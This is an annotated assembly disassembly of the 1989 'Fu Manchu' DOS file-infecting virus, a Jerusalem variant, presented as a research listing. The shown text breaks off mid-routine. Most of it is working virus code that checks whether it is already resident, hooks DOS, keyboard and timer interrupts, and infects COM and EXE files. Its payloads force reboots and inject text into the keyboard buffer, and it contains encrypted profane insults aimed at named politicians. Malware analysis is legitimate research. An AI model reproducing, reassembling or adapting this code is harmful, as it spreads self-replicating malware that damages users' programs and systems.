page	65,132
	title	The 'Fu Manchu' Virus
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º                 British Computer Virus Research Centre                   º
; º  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    º
; º  Telephone:     Domestic   0273-26105,   International  +44-273-26105    º
; º                                                                          º
; º                          The 'Fu Manchu' Virus                           º
; º                Disassembled by Joe Hirst,    June    1989                º
; º                                                                          º
; º                      Copyright (c) Joe Hirst 1989.                       º
; º                                                                          º
; º      This listing is only to be made available to virus researchers      º
; º                or software writers on a need-to-know basis.              º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

	; The virus occurs attached to the beginning of a COM file, or the end
	; of an EXE file.  A COM file also has the six-byte 'marker' attached
	; to the end.

	; This virus is a variation of the Jerusalem virus

	; The disassembly has been tested by re-assembly using MASM 5.0.

RAM	SEGMENT AT 0

	; System data

	ORG	3FCH
BW03FC	DW	?
BB03FE	DB	?
	ORG	417H
BB0417	DB	?		; Key states
	ORG	46CH
BB046C	DB	?		; System clock - low byte

	ORG	2CH
ENV_SG	DW	?		; Segment address of environment

RAM	ENDS

RAM40	SEGMENT at 400H

	ORG	1AH
BW041A	DW	?			; Key token in pointer
BW041C	DW	?			; Key token out pointer
	ORG	80H
BW0480	DW	?			; Key token buffer start pointer
BW0482	DW	?			; Key token buffer end pointer

RAM40	ENDS

CODE	SEGMENT BYTE PUBLIC 'CODE'
	ASSUME CS:CODE,DS:NOTHING,ES:RAM

	; Entry point when attached to a COM file

START:	JMP	BP0010

	DB	'sAX'

VR_SIG	DB	'rEMHOr'

VIR_RT	EQU	THIS DWORD
V_RTOF	DW	100H
V_RTSG	DW	323FH

INT_08	EQU	THIS DWORD
I08OFF	DW	0106H			; Int 8 offset
I08SEG	DW	0E95H			; Int 8 segment

INT_09	EQU	THIS DWORD
I09OFF	DW	02E9H			; Int 9 offset
I09SEG	DW	0DC6H			; Int 9 segment

INT_16	EQU	THIS DWORD
I16OFF	DW	0			; Int 16H offset
I16SEG	DW	0			; Int 16H segment

INT_21	EQU	THIS DWORD
I21OFF	DW	138DH			; Int 21H offset
I21SEG	DW	029BH			; Int 21H segment

INT_24	EQU	THIS DWORD
I24OFF	DW	04EBH			; Int 24H offset
I24SEG	DW	3228H			; Int 24H segment

BEGIN	DW	0			; Initial value for AX
F_SIZE	DW	49H			; Total file size
TCOUNT1	DW	0			; Timer count (low)
TCOUNT2	DW	0			; Timer count (high)
ST_ES1	DW	3195H			; Original ES
SET_PA	DW	00A2H

	; Program parameter block

PPB_01	DW	0			; Environment address
PPB_02	DW	0080H			; Command line offset
PPB_03	DW	3195H			; Command line segment
PPB_04	DW	005CH			; FCB1 offset
PPB_05	DW	3195H			; FCB1 segment
PPB_06	DW	006CH			; FCB2 offset
PPB_07	DW	3195H			; FCB2 segment

PRG_SP	DW	0			; Initial stack pointer store
PRG_SS	DW	31A5H			; Initial stack segment store
PROGRM	EQU	THIS DWORD
PRGOFF	DW	0			; Initial code offset store
PRGSEG	DW	31A5H			; Initial code segment store
SS_ST1	DW	0			; Store for system area data (1)
SS_ST2	DB	86H			; Store for system area data (2)

	; .EXE header store

EXEHED	DB	4DH, 5AH		; 00 .EXE header ident
EXHD01	DW	0070H			; 02 Bytes in last page
EXHD02	DW	0006H			; 04 Size of file in pages
EXHD03	DW	0000H			; 06 Number of relocation entries
EXHD04	DW	0020H			; 08 Size of header in paragraphs
EXHD05	DW	0000H			; 0A Minimum extra storage required
EXHD06	DW	-1			; 0C Maximum extra storage required
EXHD07	DW	0005H			; 0E Initial stack segment
EXHD08	DW	ENDADR			; 10 Initial stack pointer
EXHD09	DW	1988H			; 12 Negative checksum
EXHD10	DW	0223H			; 14 Initial code offset
EXHD11	DW	0005H			; 16 Initial code segment
	DW	01EH			; 18 Relative offset of reloc table
	DW	0			; 1A Overlay number

SIGBUF	DB	069H, 06FH, 06EH, 00DH, 00AH, 024H
F_HAND	DW	5			; File handle
F_ATTS	DW	0020H			; File attributes
F_DATE	DW	1273H			; File date
F_TIME	DW	4972H			; File time
F_SIZ1	DW	0250H			; Low-order file size
F_SIZ2	DW	0			; High-order file size
F_PATH	EQU	THIS DWORD
FPTHOF	DW	3D5BH			; Program pathname offset
FPTHSG	DW	9B70H			; Program pathname segment
COM_CM	DB	'COMMAND.COM'
EXE_SW	DB	0			; EXE switch - 0 = .COM extension
MEM_SW	DW	1			; Memory allocated switch
OUT_SW	DB	0			; Output in progress switch
BYTSEC	DW	0200H			; Bytes per sector
PARAGR	DW	0010H			; Size of a paragraph

		; The next fields are encrypted, and translate to:

;STRNG1	DB	'fu manchu virus 3/10/88 - latest in the new fun line!', 0
;STRNG2	DB	'thatcher is a cunt ', 0
;STRNG3	DB	'reagan is an arsehole ', 0
;STRNG4	DB	'botha is a bastard ', 0
;STRNG5	DB	'waldheim is a Nazi ', 0
;STRNG6	DB	'fuck', 8, 8, 8, 8, 0
;STRNG7	DB	'cunt', 8, 8, 8, 8, 0
;STRNG8	DB	'The world will hear from me again!   ', 0

STRNG1	DB	0C9H, 0DAH, 08FH, 0C2H, 0CEH, 0C1H, 0CCH, 0C7H
	DB	0DAH, 08FH, 0D9H, 0C6H, 0DDH, 0DAH, 0DCH, 08FH
	DB	09CH, 080H, 09EH, 09FH, 080H, 097H, 097H, 08FH
	DB	082H, 08FH, 0C3H, 0CEH, 0DBH, 0CAH, 0DCH, 0DBH
	DB	08FH, 0C6H, 0C1H, 08FH, 0DBH, 0C7H, 0CAH, 08FH
	DB	0C1H, 0CAH, 0D8H, 08FH, 0C9H, 0DAH, 0C1H, 08FH
	DB	0C3H, 0C6H, 0C1H, 0CAH, 08EH, 0
STRNG2	DB	0DBH, 0C7H, 0CEH, 0DBH, 0CCH, 0C7H, 0CAH, 0DDH
	DB	08FH, 0C6H, 0DCH, 08FH, 0CEH, 08FH, 0CCH, 0DAH
	DB	0C1H, 0DBH, 08FH, 0
STRNG3	DB	0DDH, 0CAH, 0CEH, 0C8H, 0CEH, 0C1H, 08FH, 0C6H
	DB	0DCH, 08FH, 0CEH, 0C1H, 08FH, 0CEH, 0DDH, 0DCH
	DB	0CAH, 0C7H, 0C0H, 0C3H, 0CAH, 08FH, 0
STRNG4	DB	0CDH, 0C0H, 0DBH, 0C7H, 0CEH, 08FH, 0C6H, 0DCH
	DB	08FH, 0CEH, 08FH, 0CDH, 0CEH, 0DCH, 0DBH, 0CEH
	DB	0DDH, 0CBH, 08FH, 0
STRNG5	DB	0D8H, 0CEH, 0C3H, 0CBH, 0C7H, 0CAH, 0C6H, 0C2H
	DB	08FH, 0C6H, 0DCH, 08FH, 0CEH, 08FH, 0E1H, 0CEH
	DB	0D5H, 0C6H, 08FH, 0
STRNG6	DB	0C9H, 0DAH, 0CCH, 0C4H, 0A7H, 0A7H, 0A7H, 0A7H, 0
STRNG7	DB	0CCH, 0DAH, 0C1H, 0DBH, 0A7H, 0A7H, 0A7H, 0A7H, 0
STRNG8	DB	0FBH, 0C7H, 0CAH, 08FH, 0D8H, 0C0H, 0DDH, 0C3H
	DB	0CBH, 08FH, 0D8H, 0C6H, 0C3H, 0C3H, 08FH, 0C7H
	DB	0CAH, 0CEH, 0DDH, 08FH, 0C9H, 0DDH, 0C0H, 0C2H
	DB	08FH, 0C2H, 0CAH, 08FH, 0CEH, 0C8H, 0CEH, 0C6H
	DB	0C1H, 08EH, 08FH, 08FH, 08FH, 0

		; Each entry is:
		;			DB	length to find
		;			DB	length found
		;			DW	pointer to string

TABLE	DB	10, 0
	DW	STRNG1
	DB	9, 0
	DW	STRNG2
	DB	7, 0
	DW	STRNG3
	DB	6, 0
	DW	STRNG4
	DB	9, 0
	DW	STRNG5
	DB	4, 0
	DW	STRNG6
	DB	4, 0
	DW	STRNG7
	DB	0
TABOUT	DW	0			; Table entry for output

	; Key number table for fake input

KEYTAB	DB	03H, 1EH, 30H, 2EH, 20H, 12H, 21H, 22H	; 00 - 07
	DB	0EH, 0FH, 1CH, 25H, 26H, 1CH, 31H, 18H	; 08 - 0F
	DB	19H, 10H, 13H, 1FH, 14H, 16H, 2FH, 11H	; 10 - 17
	DB	2DH, 15H, 2CH, 01H, 2BH, 1BH, 07H, 0CH	; 18 - 1F
	DB	39H, 02H, 28H, 04H, 05H, 06H, 08H, 28H	; 20 - 27
	DB	0AH, 0BH, 09H, 0DH, 33H, 0CH, 34H, 35H	; 28 - 2F
	DB	0BH, 02H, 03H, 04H, 05H, 06H, 07H, 08H	; 30 - 37
	DB	09H, 0AH, 27H, 27H, 33H, 0DH, 34H, 35H	; 38 - 3F
	DB	03H, 1EH, 30H, 2EH, 20H, 12H, 21H, 22H	; 40 - 47
	DB	23H, 17H, 24H, 25H, 26H, 32H, 31H, 18H	; 48 - 4F
	DB	19H, 10H, 13H, 1FH, 14H, 16H, 2FH, 11H	; 50 - 57
	DB	2DH, 15H, 2CH, 1AH, 2BH, 1BH, 07H, 0CH	; 58 - 5F
	DB	29H, 1EH, 30H, 2EH, 20H, 12H, 21H, 22H	; 60 - 67
	DB	23H, 17H, 24H, 25H, 26H, 32H, 31H, 18H	; 68 - 6F
	DB	19H, 10H, 13H, 1FH, 14H, 16H, 2FH, 11H	; 70 - 77
	DB	2DH, 15H, 2CH, 1AH, 2BH, 1BH, 29H, 0EH	; 78 - 7F

	; This section assumes a COM origin of 100H


BP0010:	CLD
	MOV	AH,0E1H			; Virus "are you there" call
	INT	21H			; DOS service (Virus - 1)
	CMP	AH,0E1H			; Test for unchanged
	JNB	BP0020			; Branch if invalid reply
	CMP	AH,4			; Test for standard "yes"
	JB	BP0020			; Branch if non-standard
	MOV	AH,0DDH			; Replace program over virus
	MOV	DI,0100H		; Initial offset
	MOV	SI,OFFSET ENDADR	; Length of virus
	ADD	SI,DI			; Add initial offset
	MOV	CX,F_SIZE[DI]		; Get total filesize
	INT	21H			; DOS service (Virus - 2)

	; Virus not in system, or non-communicating variety

BP0020:	MOV	AX,CS			; Get current segment
	ADD	AX,10H			; Address past PSP
	MOV	PRG_SP,SP		; Save current value
	MOV	SS,AX			; \ Set up stack
	MOV	SP,OFFSET ENDADR+100H	; /
	PUSH	AX			; Segment for return
	MOV	AX,OFFSET BP0030	; \ Offset for return
	PUSH	AX			; /
	RETF				; "Return" to next instruction

	; We now have an origin of zero
	; Entry point when attached to an EXE file

BP0030:	CLD
	PUSH	ES
	MOV	ST_ES1,ES		; Save original ES
	MOV	PPB_03,ES		; \
	MOV	PPB_05,ES		;  ) Segments in PPB
	MOV	PPB_07,ES		; /
	MOV	AX,ES			; \ Segment relocation factor
	ADD	AX,10H			; /
	ADD	PRGSEG,AX		; Initial code segment store
	ADD	PRG_SS,AX		; Initial stack segment store
	MOV	AH,0E1H			; Virus "are you there" call
	INT	21H			; DOS service (Virus - 1)
	CMP	AH,0E1H			; Test for unchanged
	JNB	BP0040			; Branch if not
	CMP	AH,4			; Test for standard "yes"
	POP	ES
	MOV	SS,PRG_SS		; Initial stack segment store
	MOV	SP,PRG_SP		; Initial stack pointer store
	JMP	PROGRM			; Start of actual program

	; Virus is not already active

BP0040:	XOR	AX,AX			; \ Address page zero
	MOV	ES,AX			; /
	MOV	AX,BW03FC		; \ Save system area data (1)
	MOV	SS_ST1,AX		; /
	MOV	AL,BB03FE		; \ Save system area data (2)
	MOV	SS_ST2,AL		; /
	MOV	BW03FC,0A4F3H		; Store   REPZ  MOVSB
	MOV	BB03FE,0CBH		; Store   RETF
	POP	AX			; \
	ADD	AX,10H			;  ) Address past PSP
	MOV	ES,AX			; /
	PUSH	CS			; \ Set DS to CS
	POP	DS			; /
	MOV	CX,OFFSET ENDADR	; Length of virus
	XOR	SI,SI			; \ Clear registers
	MOV	DI,SI			; /
	PUSH	ES			; \
	MOV	AX,OFFSET BP0050	;  ) Set up return address
	PUSH	AX			; /
	DB	0EAH			; \ Far jump to move instruction
	DW	BW03FC, 0		; /

BP0050:	MOV	AX,CS			; \
	MOV	SS,AX			;  ) Set up internal stack
	MOV	SP,OFFSET ENDADR+100H	; /
	XOR	AX,AX			; \ Address page zero
	MOV	DS,AX			; /
	ASSUME	DS:RAM,ES:NOTHING
	MOV	AX,SS_ST1		; \ Restore system area data (1)
	MOV	BW03FC,AX		; /
	MOV	AL,SS_ST2		; \ Restore system area data (2)
	MOV	BB03FE,AL		; /
	MOV	BX,SP			; Get stack pointer
	MOV	CL,4			; \ Convert to paragraphs
	SHR	BX,CL			; /
	ADD	BX,10H			; Allow for PSP
	MOV	SET_PA,BX		; Save number of paragraphs
	MOV	ES,ST_ES1		; Get original ES
	MOV	AH,4AH			; Set block
	INT	21H			; DOS service (Set block)
	MOV	AX,3521H		; Get interrupt 21H
	INT	21H			; DOS service (Get int)
	MOV	I21OFF,BX		; Save interrupt 21H offset
	MOV	I21SEG,ES		; Save interrupt 21H segment
	PUSH	CS			; \ Set DS to CS
	POP	DS			; /
	ASSUME	DS:CODE
	MOV	DX,OFFSET BP0170	; Interrupt 21H routine
	MOV	AX,2521H		; Set interrupt 21H
	INT	21H			; DOS service (Set int)
	MOV	ES,ST_ES1		; Get original ES
	ASSUME	ES:RAM
	MOV	ES,ES:ENV_SG		; Get environment segment
	XOR	DI,DI			; Start of environment
	MOV	CX,7FFFH		; Allow for 32K environment
	XOR	AL,AL			; Search for zero
BP0060:	REPNZ	SCASB			; Find zero
	CMP	ES:[DI],AL		; Is following character zero
	LOOPNZ	BP0060			; Search again if not
	MOV	DX,DI			; Save pointer
	ADD	DX,3			; Address pathname
	MOV	AX,4B00H		; Load and execute program
	PUSH	ES			; \ Set DS to ES
	POP	DS			; /
	PUSH	CS			; \ Set ES to CS
	POP	ES			; /
	ASSUME	DS:RAM,ES:NOTHING
	MOV	BX,OFFSET PPB_01	; PPB (for load and execute)
	PUSH	DS
	PUSH	ES
	PUSH	AX
	PUSH	BX
	PUSH	CX
	PUSH	DX
	PUSH	CS			; \ Set DS to CS
	POP	DS			; /
	ASSUME	DS:CODE

		; Install interrupt 9 routine

	MOV	AX,3509H		; Get interrupt 9
	INT	21H			; DOS service (Get int)
	MOV	I09OFF,BX		; Save interrupt 9 offset
	MOV	I09SEG,ES		; Save interrupt 9 segment
	MOV	AX,2509H		; Set interrupt 9
	MOV	DX,OFFSET BP0150	; Interrupt 9 routine
	INT	21H			; DOS service (Set int)

	MOV	AH,2AH			; Get date
	INT	21H			; DOS service (Get date)
	CMP	CX,07C5H		; Year = 1989
	JL	BP0070			; Branch if before
	CMP	DH,8			; Month = August
	JL	BP0070			; Branch if before

		; Install interrupt 16H routine

	MOV	OUT_SW,0		; Set off output switch
	MOV	AX,3516H		; Get interrupt 16H
	INT	21H			; DOS service (Get int)
	MOV	I16OFF,BX		; Save interrupt 16H offset
	MOV	I16SEG,ES		; Save interrupt 16H segment
	MOV	AX,2516H		; Set interrupt 16H
	MOV	DX,OFFSET BP0540	; Interrupt 16H routine
	INT	21H			; DOS service (Set int)

BP0070:	MOV	BL,BB046C		; Get low byte of system clock
	MOV	BH,BL			; Copy
	AND	BX,0F00FH		; Isolate nibbles
	CMP	BL,0			; Is low nibble of clock zero?
	JNE	BP0080			; Branch if not
	MOV	CL,4			; Bits to move
	SHR	BH,CL			; Move top nibble to bottom
	CMP	BH,0			; Is second nibble of clock zero?
	JE	BP0080			; Branch if yes
	XOR	AX,AX			; Clear register
	MOV	TCOUNT1,AX		; Set timer count (low)
	MOV	AL,BH			; Get second nibble of system clock
	MOV	TCOUNT2,AX		; Set timer count (high)

		; Install interrupt 8 routine

	MOV	AX,3508H		; Get interrupt 8
	INT	21H			; DOS service (Get int)
	MOV	I08OFF,BX		; Save interrupt 8 offset
	MOV	I08SEG,ES		; Save interrupt 8 segment
	MOV	AX,2508H		; Set interrupt 8
	MOV	DX,OFFSET BP0100	; Interrupt 8 routine
	INT	21H			; DOS service (Set int)

BP0080:	POP	DX
	POP	CX
	POP	BX
	POP	AX
	POP	ES
	POP	DS
	ASSUME	DS:NOTHING
	PUSHF				; Fake an interrupt
	CALL	INT_21			; Interrupt 21H (Load and execute)
	PUSH	DS			; \ Set ES to DS
	POP	ES			; /
	MOV	AH,49H			; Free allocated memory
	INT	21H			; DOS service (Free memory)
	MOV	AH,4DH			; Get return code of child process
	INT	21H			; DOS service (Get return code)
	MOV	AH,31H			; Keep process
	MOV	DX,OFFSET ENDADR	; Length of program
	MOV	CL,4			; \ Convert to paragraphs
	SHR	DX,CL			; /
	ADD	DX,10H			; Add length of PSP
	INT	21H			; DOS service (Keep process)

	; Interrupt 24H

BP0090:	XOR	AL,AL			; Ignore the error
	IRET

	; Interrupt 8

BP0100:	SUB	TCOUNT1,1		; \ Subtract from timer count
	SBB	TCOUNT2,0		; /
	JNZ	BP0140			; Branch if not zero
	CMP	TCOUNT1,0		; Is low count zero?
	JNZ	BP0140			; Branch if not
BP0110:	PUSH	CS			; \ Set DS to CS
	POP	DS			; /
	MOV	AX,3			; Mode three
	INT	10H			; VDU I/O
	MOV	AH,2			; Move cursor
	MOV	BH,0			; Page zero
	MOV	DX,0A14H		; Row ten column twenty
	INT	10H			; VDU I/O
	MOV	SI,OFFSET STRNG8	; Address message
BP0120:	LOOP	BP0120			; Delay between characters
	LODSB				; Get a character
	CMP	AL,0			; Is that the end?
	JE	BP0130			; Branch if yes
	XOR	AL,0AFH			; Decrypt character
	MOV	AH,14			; Write in TTY mode
	INT	10H			; VDU I/O
	JMP	BP0120			; Next character
	
BP0130:	DB	0EAH			; Far jump to BIOS initialisation
	DW	0FFF0H, 0F000H

BP0140:	JMP	INT_08			; Interrupt 8

	; Interrupt 9

	ASSUME	DS:RAM
BP0150:	PUSH	AX
	PUSH	BX
	PUSH	DS
	XOR	AX,AX			; \ Address zero
	MOV	DS,AX			; /
	IN	AL,60H			; Get keyboard token
	MOV	BL,BB0417		; Get key states
	TEST	BL,8			; Alt key depressed?
	JZ	BP0160			; Branch if not
	TEST	BL,4			; Ctrl key depressed?
	JZ	BP0160			; Branch if not
	CMP	AL,53H			; Del character token?
	JNE	BP0160			; Branch if not
	AND	BL,0F3H			; Set off Alt & Ctrl states
	MOV	BB0417,BL		; Replace key states
	IN	AL,61H			; Get Port B
	MOV	AH,AL			; Save value
	OR	AL,80H			; Set on keyboard reset bit
	OUT	61H,AL			; Output port B
	XCHG	AL,AH			; Recover original Port B value
	OUT	61H,AL			; Output port B
	JMP	BP0110			; Message and reboot

BP0160:	POP	DS
	POP	BX
	POP	AX
	JMP	INT_09			; Interrupt 9

	; Interrupt 21H

BP0170:	PUSHF
	CMP	AH,0E1H			; Virus "are you there" call
	JNE	BP0180			; Branch if other call
	MOV	AX,0400H		; Standard "yes"
	POPF
	IRET

BP0180:	CMP	AH,0DDH			; Virus move and execute COM call
	JE	BP0200			; Branch if yes
	CMP	AX,4B00H		; Is it load and execute
	JNE	BP0190			; Branch if not
	JMP	BP0210			; Process load and execute

BP0190:	POPF
	JMP	INT_21			; Interrupt 21H

	; Move program down and execute (COM only) call

	ASSUME	DS:NOTHING
BP0200:	POP	AX
	POP	AX			; Retrieve return offset
	MOV	AX,100H			; Replace with start address
	MOV	V_RTOF,AX		; Store in return jump
	POP	AX			; Retrieve return segment
	MOV	V_RTSG,AX		; Store in return jump
	REPZ	MOVSB			; Restore program to beginning
	POPF
	MOV	AX,BEGIN		; Start with zero register
	JMP	VIR_RT			; Start actual program

	; Process load and execute program

BP0210:	MOV	F_HAND,-1		; No file handle
	MOV	MEM_SW,0		; Set off memory allocated switch
	MOV	FPTHOF,DX		; Save pathname offset
	MOV	FPTHSG,DS		; Save pathname segment
	PUSH	AX
	PUSH	BX
	PUSH	CX
	PUSH	DX
	PUSH	SI
	PUSH	DI
	PUSH	DS
	PUSH	ES
	CLD
	MOV	DI,DX			; Point to file pathname
	XOR	DL,DL			; Default drive
	CMP	BYTE PTR [DI+1],3AH	; Test second character for ':'
	JNE	BP0220			; Branch if not
	MOV	DL,[DI]			; Get drive letter
	AND	DL,1FH			; Convert to number
BP0220:	MOV	AH,36H			; Get disk free space
	INT	21H			; DOS service (Get disk free)
	CMP	AX,-1			; Test for invalid drive
	JNE	BP0240			; Branch if not
BP0230:	JMP	BP0530			; Terminate

BP0240:	MUL	BX			; Calc number of free sectors
	MUL	CX			; Calc number of free bytes
	OR	DX,DX			; Test high word of result
	JNZ	BP0250			; Branch if not zero
	CMP	AX,OFFSET ENDADR	; Length of virus
	JB	BP0230			; Terminate if less
BP0250:	MOV	DX,FPTHOF		; Get pathname offset
	PUSH	DS			; \ Set ES to DS
	POP	ES			; /
	XOR	AL,AL			; Test character - zero
	MOV	CX,41H			; Maximum pathname length
	REPNZ	SCASB			; Find end of pathname
	MOV	SI,FPTHOF		; Get pathname offset
BP0260:	MOV	AL,[SI]			; Get pathname character
	OR	AL,AL			; Test for a character
	JZ	BP0280			; Finish if none
	CMP	AL,61H			; Test for 'a'
	JB	BP0270			; Branch if less
	CMP	AL,7AH			; Test for 'z'
	JA	BP0270			; Branch if above
	SUB	BYTE PTR [SI],20H	; Convert to uppercase
BP0270:	INC	SI			; Address next character
	JMP	BP0260			; Process next character

BP0280:	MOV	CX,0BH			; Load length 11
	SUB	SI,CX			; Address back by length
	MOV	DI,OFFSET COM_CM	; 'COMMAND.COM'
	PUSH	CS			; \ Set ES to CS
	POP	ES			; /
	MOV	CX,0BH			; Load length again
	REPZ	CMPSB			; Compare
	JNE	BP0290			; Continue if not command.com
	JMP	BP0530			; Terminate

BP0290:	MOV	AX,4300H		; Get file attributes
	INT	21H			; DOS service (Get attributes)
	JB	BP0300			; Follow chain of error branches
	MOV	F_ATTS,CX		; Save file attributes
BP0300:	JB	BP0320			; Follow chain of error branches
	XOR	AL,AL			; Scan character - zero
	MOV	EXE_SW,AL		; Set EXE switch off
	PUSH	DS			; \ Set ES to DS
	POP	ES			; /
	MOV	DI,DX			; Pointer to pathname
	MOV	CX,41H			; Maximum pathname length
	REPNZ	SCASB			; Find end of pathname
	CMP	BYTE PTR [DI-2],4DH	; Is last letter 'M'
	JE	BP0310			; Branch if yes
	CMP	BYTE PTR [DI-2],6DH	; Is last letter 'm'
	JE	BP0310			; Branch if yes
	INC	EXE_SW			; Set EXE switch on
BP0310:	MOV	AX,3D00H		; Open handle, read only
	INT	21H			; DOS service (Open handle)
BP0320:	JB	BP0330			; Follow chain of error branches
	MOV	F_HAND,AX		; Save file handle
	MOV	BX,AX			; File handle
	CMP	EXE_SW,0		; Test EXE switch
	JE	BP0340			; Branch if off

	; Test EXE file for infection

	MOV	CX,1CH			; Length of EXE header
	MOV	DX,OFFSET EXEHED	; .EXE header store
	MOV	AX,CS			; \
	MOV	DS,AX			;  ) Make DS & ES same as CS
	MOV	ES,AX			; /
	ASSUME	DS:CODE
	MOV	AH,3FH			; Read handle
	INT	21H			; DOS service (Read handle)
BP0330:	JB	BP0370			; Follow chain of error branches
	CMP	EXHD09,1988H		; Negative checksum
	JNE	BP0360			; Branch if not infected
	JMP	BP0350			; Dont infect

	ASSUME	DS:NOTHING
BP0340:	MOV	AX,4202H		; Move file pointer
	MOV	CX,-1			; \ End of file minus 6
	MOV	DX,-6			; /
	INT	21H			; DOS service (Move pointer)
	JB	BP0320			; Follow chain of error branches
	ADD	AX,6			; Total file size
	MOV	F_SIZE,AX		; Save total file size
	MOV	CX,6			; Length to read
	MOV	DX,OFFSET SIGBUF	; Infection test buffer
	MOV	AX,CS			; \
	MOV	DS,AX			;  ) Make DS & ES same as CS
	MOV	ES,AX			; /
	ASSUME	DS:CODE
	MOV	AH,3FH			; Read handle
	INT	21H			; DOS service (Read handle)
	MOV	DI,DX			; Address test buffer
	MOV	SI,OFFSET VR_SIG	; Signature
	REPZ	CMPSB			; Compare signatures
	JNE	BP0360			; Branch if not infected
BP0350:	MOV	AH,3EH			; Close handle
	INT	21H			; DOS service (Close handle)
	JMP	BP0530			; Terminate

BP0360:	MOV	AX,3524H		; Get interrupt 24H
	INT	21H			; DOS service (Get int)
	MOV	I24OFF,BX		; Save interrupt 24H offset
	MOV	I24SEG,ES		; Save interrupt 24H segment
	MOV	DX,OFFSET BP0090	; Interrupt 24H routine
	MOV	AX,2524H		; Set interrupt 24H
	INT	21H			; DOS service (Set int)
	LDS	DX,F_PATH		; Address program pathname
	XOR	CX,CX			; No attributes
	MOV	AX,4301H		; Set file attributes
	INT	21H			; DOS service (Set attributes)
	ASSUME	DS:NOTHING
BP0370:	JB	BP0380			; Follow chain of error branches
	MOV	BX,F_HAND		; Get file handle
	MOV	AH,3EH			; Close handle
	INT	21H			; DOS service (Close handle)
	MOV	F_HAND,-1		; No file handle
	MOV	AX,3D02H		; Open handle read/write
	INT	21H			; DOS service (Open handle)
	JB	BP0380			; Follow chain of error branches
	MOV	F_HAND,AX		; Save file handle
	MOV	AX,CS			; \
	MOV	DS,AX			;  ) Make DS & ES same as CS
	MOV	ES,AX			; /
	ASSUME	DS:CODE
	MOV	BX,F_HAND		; Get file handle
	MOV	AX,5700H		; Get file date and time
	INT	21H			; DOS service (Get file date)
	MOV	F_DATE,DX		; Save file date
	MOV	F_TIME,CX		; Save file time
	MOV	AX,4200H		; Move file pointer
	XOR	CX,CX			; \ Beginning of file
	MOV	DX,CX			; /
	INT	21H			; DOS service (Move pointer)
BP0380:	JB	BP0410			; Follow chain of error branches
	CMP	EXE_SW,0		; Test EXE switch
	JE	BP0390			; Branch if off
	JMP	BP0430			; Process EXE file

	; .COM file processing

BP0390:	MOV	BX,1000H		; 64K of memory wanted
	MOV	AH,48H			; Allocate memory
	INT	21H			; DOS service (Allocate memory)
	JNB	BP0400			; Branch if successful
	MOV	AH,3EH			; Close handle
	MOV	BX,F_HAND		; Get file handle
	INT	21H			; DOS service (Close handle)
	JMP	BP0530			; Terminate

BP0400:	INC	MEM_SW			; Set on memory allocated switch
	MOV	ES,AX			; Segment of allocated memory
	XOR	SI,SI			; Start of virus
	MOV	DI,SI			; Start of allocated memory
	MOV	CX,OFFSET ENDADR	; Length of virus
	REPZ	MOVSB			; Copy virus to allocated
	MOV	DX,DI			; Address after virus
	MOV	CX,F_SIZE		; Total file size
	MOV	BX,F_HAND		; Get file handle
	PUSH	ES			; \ Set DS to ES
	POP	DS			; /
	MOV	AH,3FH			; Read handle
	INT	21H			; DOS service (Read handle)
BP0410:	JB	BP0420			; Follow chain of error branches
	ADD	DI,CX			; Add previous file size
	XOR	CX,CX			; \ Beginning of file
	MOV	DX,CX			; /
	MOV	AX,4200H		; Move file pointer
	INT	21H			; DOS service (Move pointer)
	MOV	SI,OFFSET VR_SIG	; Signature
	MOV	CX,6			; Length to move
	REPZ	MOVS	[DI],CS:VR_SIG	; Copy signature to end
	MOV	CX,DI			; Length to write
	XOR	DX,DX			; Start of allocated
	MOV	AH,40H			; Write handle
	INT	21H			; DOS service (Write handle)
BP0420:	JB	BP0440			; Follow chain of error branches
	JMP	BP0510			; Free memory and reset values

	; .EXE file processing

BP0430:	MOV	CX,1CH			; Length of EXE header
	MOV	DX,OFFSET EXEHED	; .EXE header store
	MOV	AH,3FH			; Read handle
	INT	21H			; DOS service (Read handle)
BP0440:	JB	BP0460			; Follow chain of error branches
	MOV	EXHD09,1988H		; Negative checksum
	MOV	AX,EXHD07		; \ Store initial stack segment
	MOV	PRG_SS,AX		; /
	MOV	AX,EXHD08		; \ Store initial stack pointer
	MOV	PRG_SP,AX		; /
	MOV	AX,EXHD10		; \ Store initial code offset
	MOV	PRGOFF,AX		; /
	MOV	AX,EXHD11		; \ Store initial code segment
	MOV	PRGSEG,AX		; /
	MOV	AX,EXHD02		; Get size of file in pages
	CMP	EXHD01,0		; Number of bytes in last page
	JE	BP0450			; Branch if none
	DEC	AX			; One less page
BP0450:	MUL	BYTSEC			; Bytes per sector
	ADD	AX,EXHD01		; \ Add bytes in last page
	ADC	DX,0			; /
	ADD	AX,0FH			; \ Round up
	ADC	DX,0			; /
	AND	AX,0FFF0H		; Clear bottom figure
	MOV	F_SIZ1,AX		; Save low-order file size
	MOV	F_SIZ2,DX		; Save high-order file size
	ADD	AX,OFFSET ENDADR	; \ Add virus length
	ADC	DX,0			; /
BP0460:	JB	BP0480			; Follow chain of error branches
	DIV	BYTSEC			; Bytes per sector
	OR	DX,DX			; Test odd bytes
	JZ	BP0470			; Branch if none
	INC	AX			; One more page for odd bytes
BP0470:	MOV	EXHD02,AX		; Store size of file in pages
	MOV	EXHD01,DX		; Store bytes in last page
	MOV	AX,F_SIZ1		; Low-order file size
	MOV	DX,F_SIZ2		; High-order file size
	DIV	PARAGR			; Size of a paragraph
	SUB	AX,EXHD04		; Size of header in paragraphs
	MOV	EXHD11,AX		; Initial code segment
	MOV	EXHD10,OFFSET BP0030	; Initial code offset
	MOV	EXHD07,AX		; Initial stack segment
	MOV	EXHD08,OFFSET ENDADR	; Initial stack pointer
	XOR	CX,CX			; \ Beginning of file
	MOV	DX,CX			; /
	MOV	AX,4200H		; Move file pointer
	INT	21H			; DOS service (Move pointer)
BP0480:	JB	BP0490			; Follow chain of error branches
	MOV	CX,1CH			; Length of EXE header
	MOV	DX,OFFSET EXEHED	; .EXE header store
	MOV	AH,40H			; Write handle
	INT	21H			; DOS service (Write handle)
BP0490:	JB	BP0500			; Follow chain of error branches
	CMP	AX,CX			; Has same length been written
